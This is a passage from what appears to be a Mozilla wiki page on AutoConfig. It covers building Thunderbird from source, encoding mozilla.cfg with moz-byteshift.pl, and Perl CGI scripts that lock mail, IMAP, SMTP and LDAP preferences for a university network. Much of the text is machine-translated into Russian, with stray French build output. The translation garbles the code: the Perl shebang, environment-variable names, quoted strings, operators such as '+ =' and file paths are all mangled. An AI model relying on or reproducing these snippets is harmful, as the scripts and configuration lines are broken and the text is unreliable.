didn't find any other way to popup information. cf. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a>:</p> - -<pre> ------- Comment #14 From Daniel Wang 2003-11-06 09:06 PDT [reply] ------- - -Jehan Procaccia, you need to change 5.8 to reflect what I said in comment 21. - -Preference files and config files are special JavaScript files with limited scopes. They -can only call the get/set pref/env methods and have no access to other objects -(need to investigate what exactly are allowed). alert() is a method of the -Window object. -</pre> - -<p>cf. also related post in Newsgroups: mozilla.dev.tech.js-engine</p> - -<pre>Date: Wed, 17 May 2006 19:06:28 +0200 -From: jehan procaccia <jehan.procaccia@int-evry.fr> - -Newsgroups: mozilla.dev.tech.js-engine -Subject: scope of js file functions in Frefox/Thunderbird AutoConfig context -</pre> - -<h4 id="Firefox_2.x" name="Firefox_2.x">Firefox 2.x</h4> - -<p>Recently (2007/03/20), I've tested autoconfig support in Firefox 2.0.0.2 on a Linux fedora. Autoconfig works fine, but ldap calls are still unavailable in Firefox (as it was the case in Firefox 1.x, but fortunatly not the case for Thunderbird !). That "bug" report is then still up to date!: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">bug 295329</a></p> - -<pre>$ cat /etc/redhat-release -Fedora Core release 6 (Zod) - -$ rpm -qi firefox -Name : firefox Relocations: (not relocatable) -Version : 2.0.0.2 Vendor: Remi Collet -Release : 1.fc6.remi Build Date: Sat 24 Feb 2007 01:45:37 PM CET -Install Date: Tue 20 Mar 2007 02:47:27 PM CET Build Host: remi.famillecollet.com -Packager : http://remi.collet.free.fr/ -</pre> - -<h3 id="References" name="References">References</h3> - -<h4 id="Other_Documents_About_AutoConfig" name="Other_Documents_About_AutoConfig">Other Documents About AutoConfig</h4> - -<p><a href="http://mit.edu/~firefox/www/maintainers/autoconfig.html" rel="freelink">http://mit.edu/~firefox/www/maintain...utoconfig.html</a></p> - -<p><a href="http://www.alain.knaff.lu/howto/MozillaCustomization/index.html" rel="freelink">http://www.alain.knaff.lu/howto/Mozi...ion/index.html</a><br> - <a href="http://thegoldenear.org/toolbox/windows/docs/mozilla-pre-config.html" rel="freelink">http://thegoldenear.org/toolbox/wind...re-config.html</a><br> - <a href="http://ilias.ca/blog/2005/03/locking-mozilla-firefox-settings/" rel="freelink">http://ilias.ca/blog/2005/03/locking...efox-settings/</a></p> - -<p>Compile on Windows:<br> - <a href="http://forums.mozillazine.org/viewtopic.php?t=276014" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=276014</a></p> - -<p><a href="http://www.mozilla.org/community/developer-forums.html" rel="freelink">http://www.mozilla.org/community/dev...er-forums.html</a><br> - <a href="http://forums.mozillazine.org/viewtopic.php?p=2090731&highlight=autoconfig#2090731" rel="freelink">http://forums.mozillazine.org/viewto...config#2090731</a><br> - <a href="http://forums.mozillazine.org/viewtopic.php?p=1354355&highlight=autoconfig#1354355" rel="freelink">http://forums.mozillazine.org/viewto...config#1354355</a><br> - <a href="http://forums.mozillazine.org/viewtopic.php?p=32783&highlight=autoconfig#32783" rel="freelink">http://forums.mozillazine.org/viewto...toconfig#32783</a></p> - -<h4 id="Related_Bugs" name="Related_Bugs">Related Bugs</h4> - -<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">bug 295329</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=222973" title="[Deploy]Need doc on AutoConfig and Config files">bug 222973</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=225288" title="FIXED: thunderbird does not recognize mission control preferences">bug 225288</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=178685" title="Complete preference ref manual (for hidden prefs)">bug 178685</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272970" title="autoconfig defaultpref doesn't work">bug 272970</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a><br> - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=302096" title="FIXED: Thunderbird does not have AutoConfig LDAP support enabled">bug 302096</a></p> - -<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=502597" title="FIXED: thunderbird autoconfig, prefcalls.js Ldap queries broken">bug 502597</a></p> - -<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=674261" title="autoconfig aka MCD broken">bug 674261</a></p> - - - - - -<h3 id="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7" name="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7"><font><font>Thunderbird Comm-central_source_code_ (Mercurial)</font></font></h3> - -<div class="note"><font><font> Ниже приведен метод построения из источников в случае отсутствия какой-либо функции в публичных пакетах</font></font></div> - -<p><font><font>на основе </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">ошибки 295329</a>,<font><font> поскольку TB 3.0.X autoconfig больше не работает.</font></font></p> - -<p><font><font>согласно обсуждению в </font></font><a href="http://groups.google.com/group/mozilla.dev.apps.thunderbird/browse_thread/thread/9b1962efdeb92f4e#" title="http://groups.google.com/group/mozilla.dev.apps.thunderbird/browse_thread/thread/9b1962efdeb92f4e#"><font><font>mozilla.dev.apps.thunderbird</font></font></a><font><font> , изменение от CVS до Mercurial и недавние изменения кода nsLDAPURL могут иметь borken autoconfig. </font><font>ниже мы начинаем отлаживать это, перестраивая thunderbird из </font></font><a href="/en-US/docs/Developer_Guide/Source_Code/Getting_comm-central" title="https://developer.mozilla.org/en/Comm-central_source_code_(Mercurial)"><font><font>Comm-central-source-code (mercurial)</font></font></a><font><font> .</font></font></p> - -<h4 id="строить"><font><font>строить</font></font></h4> - -<h5 id="установить_меркуриальные_инструменты"><font><font>установить меркуриальные инструменты</font></font></h5> - -<pre><font><font>[root@b008-02 ~]# yum install mercurial</font></font> -<font><font> -Установлен:</font></font><font><font> - mercurial.i586 0: 1.2.1-1.fc11</font></font> -</pre> - -<h5 id="проверить_инструменты_слияния_в"><font><font>проверить инструменты слияния в</font></font></h5> - -<pre><font><font>[root@b008-02 ~]# vim /etc/mercurial/hgrc.d/mergetools.rc</font></font></pre> - -<h5 id="получить_источник_comm-central"><font><font> получить источник comm-central</font></font></h5> - -<pre><font><font>[root @ b008-02 Moz] # время hg clone http://hg.mozilla.org/comm-central/ commsrc</font></font><font><font> -запрос всех изменений</font></font><font><font> -добавление наборов изменений</font></font><font><font> -добавление манифеста</font></font><font><font> -добавление изменений файла</font></font><font><font> -добавлено 2975 наборов изменений с 16793 изменением на 7117 файлов (+3 голов)</font></font><font><font> -обновление рабочего каталога</font></font><font><font> -Обновлено 5644 файлов, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font> -<font><font> -реальный 0m40.771s</font></font><font><font> -пользователь 0m9.284s</font></font><font><font> -sys 0m1.304s</font></font> - </pre> - -<pre><font><font>[root @ b008-02 commsrc] # python client.py checkout</font></font><font><font> -Выполнение команды: ['hg', 'pull', '-R', './.', '-r', 'tip']</font></font><font><font> -вытягивание из http://hg.mozilla.org/comm-central/</font></font><font><font> -поиск изменений</font></font><font><font> -изменений не найдено</font></font><font><font> -Выполнение команды: ['hg', 'update', '-r', 'default', '-R', './.']</font></font><font><font> -0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font><font><font> -Обновлено до версии c10119db13cad9797b05750bfe18a57261a88922.</font></font><font><font> -Выполнение команды: ['hg', 'clone', 'http://hg.mozilla.org/releases/mozilla-1.9.1/', './mozilla']</font></font><font><font> -запрос всех изменений</font></font><font><font> -добавление наборов изменений</font></font><font><font> -...</font></font><font><font> -Исполняющая команда: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/inspector']</font></font><font><font> -0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font> -Updated to revision 51c6d483a4c15a657df18540219bd0201896c6f2. -CVS checkout begin: 2009-06-30 10:28:31 UTC -Executing command: ['cvs', '-d', ':pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot', '-q', 'checkout', '-P', '-r', 'LDAPCSDK_6_0_6B_MOZILLA_RTM', '-d', 'c-sdk', 'mozilla/directory/c-sdk'] -U c-sdk/.cvsignore -U c-sdk/Makefile.in -... -updating working directory -163 files updated, 0 files merged, 0 files removed, 0 files unresolved -Executing command: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/venkman'] -0 files updated, 0 files merged, 0 files removed, 0 files unresolved -Updated to revision 06ea5135b7f3c9a639c483183ceb9802abee621b. -</pre> - -<h4 id="Build_Thunderbird"> Build Thunderbird</h4> - -<h5 id="prepare_compile_options">prepare compile options</h5> - -<pre><font><font>[root@b008-02 commsrc]# cp ./mozilla/browser/config/mozconfig .mozconfig</font></font><font><font> -[root@b008-02 commsrc]# cat .mozconfig </font></font><font><font> -mk_add_options AUTOCONF = autoconf-2.13</font></font><font><font> -ac_add_options --enable-application = mail</font></font><font><font> -ac_add_options --prefix = "/usr/local/thunderbirdDebug"</font></font><font><font> -ac_add_options --libdir = "/usr/local/thunderbirdDebugLibs"</font></font><font><font> -ac_add_options --enable-extensions = pref</font></font><font><font> -ac_add_options --enable-static</font></font><font><font> -ac_add_options --disable-shared</font></font><font><font> -ac_add_options --disable-crashreporter</font></font> - -</pre> - -<p><font><font>опция --disable-crashreporter необходима, если вы получаете ошибку компиляции на этом этапе сборки</font></font></p> - -<pre class="bz_comment_text"><font><font>gmake [7]: вход в каталог</font></font><font><font> -`/USR/местные/Moz2/commsrc/Mozilla/инструментарий/CrashReporter/Google-breakpad/SRC/общий/Linux»</font></font><font><font> -dump_symbols.cc</font></font> -</pre> - -<h5 id="строить_2"><font><font>строить</font></font></h5> - -<p><font><font>затем начните строительство</font></font></p> - -<pre class="eval"><font><font>[root @ b008-02 commsrc] # время make -f client.mk build</font></font><font><font> -rm -f ../../mozilla/dist/bin/TestCookie</font></font><font><font> -если test -f ../../mozilla/dist/bin/TestTArray; </font></font><font><font> -затем cp ../../mozilla/dist/bin/TestTArray ../../mozilla/dist/bin/TestCookie; </font><font>Fi;</font></font><font><font> -gmake [5]: quittant le rà © pertoire «/ usr/local/Moz/commsrc/mail/app»</font></font><font><font> -gmake [4]: quittant le rà © pertoire «/usr/local/Moz/commsrc/mail»</font></font><font><font> -gmake [3]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font><font><font> -gmake [2]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font><font><font> -make [1]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font> -<font><font> -реальный 23m33.845s</font></font><font><font> -пользователь 20m34.356s</font></font><font><font> -sys 1m49.752s</font></font> - -</pre> - -<h5 id="устанавливать"><font><font>устанавливать</font></font></h5> - -<p><font><font>Затем установите (--enable-static и -disable-shared, необходимые в .mozconfig!)</font></font></p> - -<pre><font><font>[root@b008-02 commsrc]# make install -n</font></font><font><font> -/usr/bin/gmake -C mail/installer install</font></font><font><font> -gmake [1]: абитуриент dans le répertoire «/ usr / local / Moz / commsrc / mail / installer»</font></font><font><font> -rm -rf ../../mozilla/dist/thunderbird ../../mozilla/dist/thunderbird-3.0b3pre.en-US.linux-i686.tar ../../mozilla/dist/thunderbird- 3.0b3pre.en-US.linux-i686.dmg stage-package </font></font><font><font> -echo "Создание каталога пакетов ..."</font></font><font><font> -...</font></font><font><font> -/ usr / local / Moz / commsrc / mozilla / config / nsinstall -D / usr / local / thunderbirdDebug / bin</font></font><font><font> -rm -f -f / usr / local / thunderbirdDebug / bin / thunderbird</font></font><font><font> -ln -s /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird / usr / local / thunderbirdDebug / bin</font></font><font><font> -gmake [1]: quittant le répertoire «/ usr / local / Moz / commsrc / mail / installer»</font></font> -<font><font> -[root @ b008-02 commsrc] # ls -l /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/ | </font><font>grep ^ d</font></font><font><font> -drwxr-xr-x 3 корень root 4096 juil. </font><font>2 10:45 хром</font></font><font><font> -drwxr-xr-x 2 корень корня 12288 juil. </font><font>2 10:45 компоненты</font></font><font><font> -drwxr-xr-x 6 корень корня 4096 juil. </font><font>1 10:24 defaults</font></font><font><font> -drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:45 словари</font></font><font><font> -drwxr-xr-x 3 корень root 4096 juil. </font><font>1 10:24 расширения</font></font><font><font> -drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:27 greprefs</font></font><font><font> -drwxr-xr-x 2 корень root 4096 juil. </font><font>1 10:18 иконки</font></font><font><font> -drwxr-xr-x 3 корень root 4096 juil. </font><font>2 10:45 isp</font></font><font><font> -drwxr-xr-x 4 корень root 4096 juil. </font><font>2 10:45 модулей</font></font><font><font> -drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:45 OutTestData</font></font><font><font> -drwxr-xr-x 6 корень корня 4096 juil. </font><font>2 10:45 res</font></font><font><font> -[root@b008-02 commsrc]# ls -l /usr/local/thunderbirdDebug/bin/</font></font><font><font> -всего 4</font></font><font><font> -lrwxrwxrwx 1 корень root 64 juil. </font><font>2 10:45 thunderbird -> /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird</font></font> -<font><font> -[root@b008-02 thunderbirdDebugLibs]# найти /usr/local/thunderbirdDebugLibs/ -name prefcalls.js</font></font><font><font> -/usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/defaults/autoconfig/prefcalls.js</font></font> - -</pre> - -<h3 id="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7" name="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7"><font><font>Старый Mozilla 1.x, возможно, Netscape 6/7</font></font></h3> - -<div class="note"><font><font>Ниже для записи ... он также содержит интересную функцию, которую я больше не использовал -> AutoConfig с веб-сервера!</font></font></div> - -<h4 id="Changes" name="Changes"><font><font>изменения</font></font></h4> - -<p><font><font>В период с 2002 по 2003 год нам нужно было обновить старую версию Netscape 4.x (4.79) до Mozilla 1.x (1.4), а теперь (2004-2005) Mozilla 1.7. </font><font>Подсистема AutoConfiguration совершенно такая же, как описано в разделе «старый» Netscape 4.x, но также немного отличается.</font></font></p> - -<h4 id="Mozilla_New_Features_in_Regard_to_Netscape" name="Mozilla_New_Features_in_Regard_to_Netscape"><font><font>Новые возможности Mozilla для Netscape</font></font></h4> - -<p>In Mozilla, we don't use the convert function from Netscape 4.5 CCK anymore, but <code>moz-byteshift.pl</code> Perl script, to encode <code>mozilla.cfg</code> file.</p> - -<p>The use of the <code>getLDAPAttributes()</code> function by calling inside itself the <code>processLDAPValues()</code> as a user defined function (see <code>prefcalls.js</code>) forces us to slightly change these calls in our original web CGI JavaScript (here <code>mci-mozilla-glob-prefs-tux.cgi</code>). The variables generated (<code>mail</code>, <code>cn</code>, <code>uid</code>) are defined only inside the <code>processLDAPValues()</code> function, that explains why lockPref related to these variables are located inside that function. I also couldn't use the <code>alert()</code> function anymore, so I changed to <code>displayerror()</code> function!</p> - -<h4 id="Locating_The_File_on_a_Web_Server" name="Locating_The_File_on_a_Web_Server">Locating The File on a Web Server</h4> - -<p>That was the case in the Netscape 4.x description below, however, at first it was a hard thing to do in Mozilla, cf. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a>. So now you only need to create a small encoded <code>cfg</code> file making a call to a web located CGI script which will actually generate the JavaScript configuration directives to the Mozilla client. Hence you can change all of your Mozilla clients preferences by simply modifying a single file on a web server, great!</p> - -<h5 id="Call_File" name="Call_File">Call File</h5> - -<p>This file calls a CGI on a web server, the CGI generating the JavaScript code that will set preferences. Here the <code>vendor</code> name (<code>mci-mozilla-web-tux</code>) must match the name of the <code>cfg</code> file (<code>mci-mozilla-web-tux.cfg</code>).</p> - -<pre>$ cat mci-mozilla-web-tux.js -lockPref("general.config.vendor", "mci-mozilla-web-tux");<font><font> -lockPref( "autoadmin.global_config_url", "http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-tux.cgi");</font></font> -</pre> - -<h4 id="Encoding_mozilla.js_File_to_mozilla.cfg" name="Encoding_mozilla.js_File_to_mozilla.cfg"><font><font>Кодирование файла mozilla.js для файла mozilla.cfg</font></font></h4> - -<p><font><font>Просто используйте </font></font><code>moz-byteshift.pl</code><font><font>Perl-скрипт, который для Mozilla 1.x и Netscape 6/7 использует сдвиг 13, в Netscape 4.x это было 7.</font></font></p> - -<pre><font><font>$ more moz-byteshift.pl</font></font><font><font> -#! / USR / бен / Perl</font></font> - <font><font> -# Байт-сменная программа для файлов netscape.cfg Mozilla</font></font> - <font><font> -# Старый Netscape 4.x использует байтовый сдвиг 7</font></font><font><font> -# Для декодирования: moz-byteshift.pl -s -7 <netscape.cfg> netscape.cfg.txt</font></font><font><font> -# Для кодирования: moz-byteshift.pl -s 7 <netscape.cfg.txt> netscape.cfg</font></font> - <font><font> -# Mozilla использует байтовый сдвиг 13</font></font><font><font> -# Для декодирования: moz-byteshift.pl -s -13 <netscape.cfg> netscape.cfg.txt</font></font><font><font> -# Для кодирования: moz-byteshift.pl -s 13 <netscape.cfg.txt> netscape.cfg</font></font> - <font><font> -# Чтобы активировать файл netscape.cfg, поместите закодированный файл netscape.cfg</font></font><font><font> -# в каталог C:\Program Files\mozilla.org\Mozilla.</font></font><font><font> -# Затем добавьте следующую строку в свою</font></font><font><font> -# C:\Program Files\ mozilla.org\Mozilla\defaults\pref\autoconf.js файл:</font></font><font><font> -# pref("general.config.filename", "mozilla.cfg");</font></font><font><font> -...</font></font> -<font><font> -$ ./moz-byteshift.pl -s 13 <mci-mozilla-web-tux.js> mci-mozilla-web-tux.cfg</font></font> -</pre> - -<h4 id="Location_of_mci-mozilla-web-tux.cfg" name="Location_of_mci-mozilla-web-tux.cfg"><font><font>Местоположение mci-mozilla-web-tux.cfg</font></font></h4> - -<p><font><font>Расположение </font></font><code>netscape.cfg</code><font><font>(здесь переименовано </font></font><code>mci-mozilla-web-tux.cfg</code><font><font>) и способ его вызова отличается от старого Netscape 4.x. </font><font>Это местоположение находится в </font></font><code>MOZILLA_HOME ; c:\program files\mozilla.org\mozilla</code><font><font>Windows или </font></font><code>/usr/lib/mozilla-1.7-3/</code><font><font>Linux Fedora.</font></font></p> - -<h4 id="Call_to_mci-mozilla-web-tux.cfg" name="Call_to_mci-mozilla-web-tux.cfg"><font><font>Вызовите mci-mozilla-web-tux.cfg</font></font></h4> - -<p><font><font>Способ вызвать это через </font></font><code>autoconf.js</code><font><font>файл, добавив в конце:</font></font></p> - -<pre><font><font>$ tail -2 /usr/lib/mozilla-1.7-3/defaults/pref/autoconf.js</font></font><font><font> -pref("general.config.filename", "mci-mozilla-web-tux.cfg");</font></font><font><font> -pref("general.config.vendor", "mci-mozilla-web-tux");</font></font> -</pre> - -<h4 id="Web_Base_CGI_JavaScript_Preferences_Generator_File" name="Web_Base_CGI_JavaScript_Preferences_Generator_File"><font><font>Веб-база CGI JavaScript-файл генератора настроек</font></font></h4> - -<pre><font><font>[root@corbeau /var/www/cgi-bin]</font></font><font><font> -$ cat mci-mozilla-glob-prefs-tux.cgi</font></font><font><font> -#! /usr/bin/perl -w</font></font> -<font><font> -print («Content-type: application / javascript-config \ n \ n»);</font></font><font><font> -$ page = <<"EOP";</font></font> - <font><font> -</font></font><code>try</code><font><font> { - var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font> - var env_home = getenv("HOME");</font></font><font><font> - var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font><font><font> - function processLDAPValues(значения) {</font></font><font><font> - var uid = getLDAPValue(значения, "uid");</font></font><font><font> - var cn = getLDAPValue(значения, "cn");</font></font><font><font> - var mail = getLDAPValue(значения, «почта»);</font></font><font><font> - lockPref("mail.server.server1.name", mail);</font></font><font><font> - lockPref("mail.identity.id1.fullName", cn);</font></font><font><font> - lockPref("mail.identity.id1.useremail", mail);</font></font> -<font><font> - if (env_mozdebug) {</font></font> - displayError("debug mozilla.cfg v2.8", "mail:" + mail + "uid:" + uid + "cn" + cn + "user:" + env_user); - } -} -//BROWSER -/*defaultPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/"); -lockPref("browser.startup.homepage_override", true); -lockPref("browser.startup.page", 1); -defaultPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/"); -*/ -lockPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/"); -lockPref("browser.startup.homepage_override", true); -lockPref("general.config.vendor", "mci-mozilla-web-tux"); -lockPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/"); -lockPref("browser.cache.disk.capacity", 0); -lockPref("network.cookie.cookieBehavior", 0); -lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy"); -lockPref("network.proxy.type", 2); - -//Account -lockPref("mail.account.account1.identities", "id1"); -lockPref("mail.account.account1.server", "server1"); -lockPref("mail.account.account2.server", "server2"); -lockPref("mail.account.account3.server", "server3"); -lockPref("mail.accountmanager.accounts", "account1,account2,account3"); -lockPref("mail.accountmanager.defaultaccount", "account1"); - -//IMAP -lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr"); -lockPref("mail.server.server1.type", "imap"); -lockPref("mail.server.server1.login_at_startup", true); -lockPref("mail.identity.id1.draft_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Drafts"); -lockPref("mail.identity.id1.drafts_folder_picker_mode", "0"); -lockPref("mail.identity.id1.fcc_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Sent"); -lockPref("mail.identity.id1.fcc_folder_picker_mode", "0"); -lockPref("mail.identity.id1.stationery_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Templates"); -lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0"); -lockPref("mail.identity.id1.valid", true); -lockPref("mail.identity.id1.overrideGlobal_Pref", true); -lockPref("mail.server.server1.download_on_biff", true); -lockPref("mail.server.server1.login_at_startup", true); -lockPref("mail.server.server1.userName", env_user); -lockPref("mail.server.server1.delete_model", 0); - -//SMTP -lockPref("mail.identity.id1.smtpServer", "smtp1"); -defaultPref("mail.smtpserver.smtp1.auth_method", 0); -lockPref("mail.smtpservers", "smtp1"); -lockPref("mail.smtpservers", "smtp1"); -lockPref("mail.smtp.defaultserver", "smtp1"); -lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); -lockPref("mail.identity.id1.organization", "INT Evry France"); -lockPref("mail.startup.enabledMailCheckOnce", true); -lockPref("mail.ui.folderpane.version", 3); -lockPref("mailnews.ui.threadpane.version", 2); - -//LDAP config -lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint"); -lockPref("ldap_2.prefs_migrated", true); -lockPref("ldap_2.servers.history.filename", "history.mab"); -lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0); -lockPref("ldap_2.servers.ldapint.auth.savePassword", true); -lockPref("ldap_2.servers.ldapint.description", "ldap-int"); -lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab"); -lockPref("ldap_2.servers.ldapint.position", 3); -lockPref("ldap_2.servers.ldapint.uri", "ldap://ldap1.int-evry.fr:389/ou=people,dc=int-evry,dc=fr??sub"); -lockPref("ldap_2.servers.pab.filename", "abook.mab"); -lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0); - -//News config -lockPref("mail.server.server3.hostname", "news.int-evry.fr"); -lockPref("mail.server.server3.max_cached_connections", 2); -lockPref("mail.server.server3.name", "news.int-evry.fr"); -lockPref("mail.server.server3.type", "nntp"); -lockPref("mail.server.server3.userName", env_user); - -//Call to ldap to get user's attribute. -getLDAPAttributes("ldap2.int-evry.fr", "ou=people,dc=int-evry,dc=fr", "uid=" +env_user, "uid,cn,mail"); - -} catch(e) { - displayError("lockedPref", e); -} - -EOP -print $page; -</pre> - -<h4 id="Windows_Particularities" name="Windows_Particularities">Windows Peculiarities</h4> - -<p>Without web base CGI file, beware that in Windows, the original (before encoding) <code>mozilla.js</code> file must start with: <code>//BEGIN CE prefs </code>, if not you'll get "failed to read configuration file..." message, and Mozilla won't start :-(</p> - -<p>In Windows environment variables like <code>USER</code> or <code>HOME</code>, are <code>USERNAME</code> and <code>HOMEPATH</code>, that's why we must create a different pair of configuration files (<code>cfg</code> and <code>cgi</code>) for both systems (Linux/Windows). Perhaps there's a way in JavaScript to detect operating system and hence use either <code>USER</code> or <code>USERNAME</code>, but I'm not that fluent in JavaScript, let me know if you know how...//</p> - -<h5 id="Windows_Call_File" name="Windows_Call_File">Windows Call File</h5> - -<pre>$ cat mci-mozilla-web-win.js -lockPref("general.config.vendor", "mci-mozilla-web-win"); -lockPref("autoadmin.global_config_url","http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-win.cgi"); -</pre> - -<h5 id="Windows_all.js_File" name="Windows_all.js_File">Windows autoconf.js File</h5> - -<p>To be encoded by <code>moz-byteshift.pl</code> as stated above...</p> - -<pre>c:\type c:\program files\mozilla.org\mozilla\defaults\pref\autoconf.js -pref("general.config.filename", "mci-mozilla-web-win.cfg"); -pref("general.config.vendor", "mci-mozilla-web-win"); -</pre> - -<h5 id="Windows_CGI_file" name="Windows_CGI_file">Windows CGI file</h5> - -<pre>$ cat mci-mozilla-glob-prefs-win.cgi -#!/usr/bin/perl -w - -print("Content-type: application/javascript-config\n\n"); -$page = <<"EOP"; - -try { - var env_user = getenv("USERNAME"); - var env_home = getenv("HOMEPATH"); - var env_mozdebug= getenv("MOZILLA_DEBUG"); -... -</pre> - -<p><font><font>Остальная часть файла идентична версии Linux, только переменные среды (var env_ *) отличаются друг от друга!</font></font></p> - -<h4 id="Versions_Tested" name="Versions_Tested"><font><font>Проверенные версии</font></font></h4> - -<p><font><font>Эта конфигурация была проверена на Linux с помощью Mozilla 1.4, 1.6 и 1.7 и Windows с Mozilla 1.4, 1.5, 1.7.</font></font></p> - -<h3 id="Debugging_-_Bugzilla" name="Debugging_-_Bugzilla"><font><font>Отладка - Bugzilla</font></font></h3> - -<h4 id="Run_Time_Messages" name="Run_Time_Messages"><font><font>Сообщения о времени выполнения</font></font></h4> - -<p><font><font>Примечание. Присутствие </font></font><code>var env_mozdebug=getenv("MOZILLA_DEBUG")</code><font><font>позволяет пользователю печатать отладочные сообщения, если они </font></font><code>MOZILLA_DEBUG</code><font><font>определены в оболочке для Unix ( </font></font><code>export MOZILLA_DEBUG=1</code><font><font>) или в </font></font><code>command.com</code><font><font>среде Windows ( </font></font><code>set MOZILLA_DEBUG=1</code><font><font>).</font></font></p> - -<h4 id="Blank_Space_Bug" name="Blank_Space_Bug"><font><font>Ошибка пробела</font></font></h4> - -<p><font><font>Я заметил проблему, которая должна быть исправлена в Mozilla 1.8. Я думаю ... Вот отчет и обходной путь: </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=229271" title='FIXED: unwanted "white space" in function getLDAPValue from autoconfig/prefcalls.js'>ошибка 229271</a><font><font>. </font><font>Чтобы исправить ошибку, добавьте следующее:</font></font></p> - -<pre><font><font> start_pos + = search_key.length;</font></font><font><font> -//Начало </font></font><font><font> - start_pos + = 1;</font></font><font><font> -//конец</font></font> -</pre> - -<p><font><font>функционировать </font></font><code>getLDAPValue()</code><font><font>в </font></font><code>autoconfig/preffcalls.js</code><font><font>.</font></font></p> - -<h4 id="Documentation" name="Documentation"><font><font>Документация</font></font></h4> - -<p><font><font>Я также открыл отчет о недостатке документации </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=178685" title="Complete preference ref manual (for hidden prefs)">ошибка 178685</a><font><font>, который привел к замечательному документу: </font></font><a href="http://web.archive.org/web/20050415163430/http://wangrepublic.org/daniel/mozilla/prefs/"><font><font>http://wangrepublic.org/daniel/mozilla/prefs/</font></font></a></p> - -<h4 id="defeultPref_for_Home_Page" name="defeultPref_for_Home_Page"><font><font>defeultPref для домашней страницы</font></font></h4> - -<p><font><font>Я не могу установить домашнюю страницу с помощью </font></font><code>defaultPref</code><font><font>функции, поэтому она устанавливается по умолчанию, но позволяет пользователю изменять ее! </font><font>Обнаружена ошибка, см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272970" title="autoconfig defaultpref doesn't work">ошибка 272970</a>.</p> - -<h4 id="greprefs_Right_Access" name="greprefs_Right_Access"><font><font>Правильный доступ greprefs</font></font></h4> - -<p><font><font>Остерегайтесь также в Linux, что </font></font><code>MOZILLA_HOME/greprefs</code><font><font>каталог по умолчанию закрыт для пользователей, а затем AutoConfig работает некорректно, я открыл ошибку:</font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=270623" title="greprefs subdirectory; modes too much restrictive"> ошибка 270623</a><font><font>. </font><font>Обходной путь </font></font><code>chmod 755 greprefs</code><font><font>!</font></font></p> - -<h4 id="CGI_Base_Config_File" name="CGI_Base_Config_File"><font><font>Файл конфигурации базы данных CGI</font></font></h4> - -<p><font><font>Возникла проблема с использованием </font></font><code>autoadmin.global_config_url</code><font><font>, см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">ошибка 206294</a><font><font>.</font></font></p> - -<h3 id="Mail_Folders" name="Mail_Folders"><font><font>Почтовые папки</font></font></h3> - -<p>Implementing that solution, we encounter difficulties with mail folder. Our first idea was to use local mail folders from home directory of the current user. In Unix that would have been <code>$HOME/nsmail/...</code>, in Windows it would have been a Samba mount of that same Unix path (ex: <code>U:\nsmail</code> ; with <code>U:</code> = Samba mount: 